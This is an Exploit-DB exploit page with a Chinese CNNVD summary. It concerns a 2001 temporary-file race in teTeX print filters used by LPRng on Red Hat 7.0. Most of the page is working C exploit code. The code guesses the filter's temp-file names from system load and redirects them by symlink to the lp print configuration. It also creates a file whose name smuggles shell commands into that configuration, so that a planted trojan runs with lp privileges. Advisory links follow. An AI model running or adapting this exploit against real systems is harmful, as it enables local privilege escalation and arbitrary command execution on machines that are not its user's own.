https://www.exploit-db.com/exploits/20990
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200106-115

teTeX过滤器1.0.7之前版本存在漏洞。本地用户可以借助对临时文件的符号链接攻击提升权限，这些临时文件在打印使用lpr的.dvi文件时产生。

/*
source: http://www.securityfocus.com/bid/2974/info

teTeX is a TeX distribution for UNIX compatible systems.

A race condition vulnerability exists in the temporary file handling method used by some teTeX filters. The problem exists because in some cases temporary files are created world-writeable with a predictable filename based on the process ID of the filter. If an attacker is able to determine the name of a temporary file used during the program's operation, a symbolic link could be created pointing to a file writeable by the user running the filter.

When the filters are used by an application that runs with elevated privileges such as LPRng, the potential impact of the attack could become more significant. A local attacker could exploit this vulnerability to cause LPRng to execute arbitrary commands with its elevated privileges.
*/

/********************************************************************
Redhat 7.0 (mebe 7.1 ?)

LPRng-3.7.4-23  (and earlier)  +  tetex-1.0.7-7   (and earlier?)

     Insecure tmp file privilege elevation vulnerability.

Allows uid/gid lp  and  root groups on LPRng-3.6.24 and earlier
Please note:

-rwxr-xr-x    1 lp       lp         444472 Jun 14 22:05 /usr/bin/lpq*
-rwxr-xr-x    1 lp       lp         441624 Jun 14 22:05 /usr/bin/lprm*
-rwxr-xr-x    1 lp       lp         459160 Jun 14 22:05 /usr/bin/lpr*
-rwxr-xr-x    1 lp       lp         448120 Jun 14 22:05 /usr/bin/lpstat*
-rwxr-xr-x    1 lp       lp         448320 Jun 14 22:05 /usr/sbin/lpc*

 this program allows trojan code to be planted on the machine it is
 executed on. 

 tmp file handling done badly in helper application (dvi print filter)
 allows modification to lp config files.
 the configuation file is sourced by the master print filter,
 which is itself a shell script, each time something is printed.
 this makes it possible to insert commands into the configuration file
 by creating a special filename to be included in the file that 
 is created. (see the close(open(" thingee )


Redhat Bugzilla reference:-

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=43342

 --zen-parse 

 requires some fonts get made when its run.
 probably won't be a problem unless someone
 else has tried this exploit.
 just wait 90 days for /var/lib/texmf to clear
 and try again ;]
 or try print something different
 .dvi files are what does the trick.

********************************************************************/

int shake()
{
 int f;
 char r[1000];
 int w;
 f=fopen("/proc/loadavg","r");
 fscanf(f,"%*s %*s %*s %*s %s",r);
 fclose(f);
 w=atoi(r);
 return w;
}
void cow(char *s,char *t,int ofs)
{
 sprintf(s,"/var/lib/texmf/lsR%d.tmp",ofs);
 sprintf(t,"%s/lsR%d.tmp",s,ofs);
}

main()
{
 char s[1000];
 char t[1000];
 int y,i;
 printf("Put the stuff to run as lp:lp in /tmp/haxn");
 printf("the lpr /usr/share/aspe<tab>/manual.dvin");
 printf("when the ! comes up, wait a second, then press control-C.nn");
 printf("Then print something.nnn");
 close(open("/var/lib/texmf/cd ..ncd ..ncd ..ncd ..ncd ..ncd ..ncd tmpnexport PATH=.nhaxnexit 0",65,0666));
 while(1)
 {
  i=shake();
  for(y=-30;y<0;y++)
  {
   cow(s,t,y+i);
   if(!access(t,0))
   { 
    printf("!n");
    unlink(t);
    symlink("/var/spool/lpd/lp/postscript.cfg",t);
    sleep(1);
   }
  }
 }
}

来源:XF
名称:tetex-lprng-tmp-race(6785)
链接:http://xforce.iss.net/static/6785.php
来源:BID
名称:2974
链接:http://www.securityfocus.com/bid/2974
来源:REDHAT
名称:RHSA-2001:102
链接:http://www.redhat.com/support/errata/RHSA-2001-102.html
来源:MANDRAKE
名称:MDKSA-2001:086
链接:http://www.linux-mandrake.com/en/security/2001/MDKSA-2001-086.php3
来源:BUGTRAQ
名称:20010622LPRng+tetextmpfilerace-uidlpexploit
链接:http://www.securityfocus.com/archive/1/192647
来源:IMMUNIX
名称:IMNX-2001-70-030-01
链接:http://download.immunix.org/ImmunixOS/7.0/updates/IMNX-2001-70-030-01